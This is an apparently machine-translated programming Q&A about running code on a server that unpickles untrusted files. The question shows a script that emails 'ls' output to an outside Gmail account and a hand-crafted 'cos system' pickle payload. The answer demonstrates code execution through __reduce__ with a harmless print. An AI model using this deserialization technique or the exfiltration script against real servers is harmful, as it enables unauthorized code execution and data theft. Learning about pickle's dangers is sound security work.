我有一个将pickle文件发送到服务器的任务,该服务器会取消发送给它的任何内容。我的计划是让它给我发回电子邮件给我打印出的ls命令。我有这个文件:
import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...@gmail.com", "password")
server.sendmail("...@gmail.com", "...@gmail.com", output)
server.quit()
如何让服务器运行它?我正在尝试发送一个文件:
cos
system
(S''
tR.
使用'中的python脚本'
我在想这样的事情:
cos
system
(S'python\n import smptlib\n ...'
tR.
但它没有执行命令。我怎样才能让它执行python?
我已经在自己的计算机上试过了,python发送的电子邮件很好。
答案 0 :(得分:6)
在__reduce__
方法中做任何你想要做的友善。请不要做坏事。
import pickle
class Friendly(object):
def __reduce__(self):
return (friendly, ('executing friendly code',))
def friendly(x):
print x
pickle.dump(Friendly(), open('pickled', 'w'))
print 'loading ...'
pickle.load(open('pickled'))
- >
$ python friendly.py
正在加载...
执行友好代码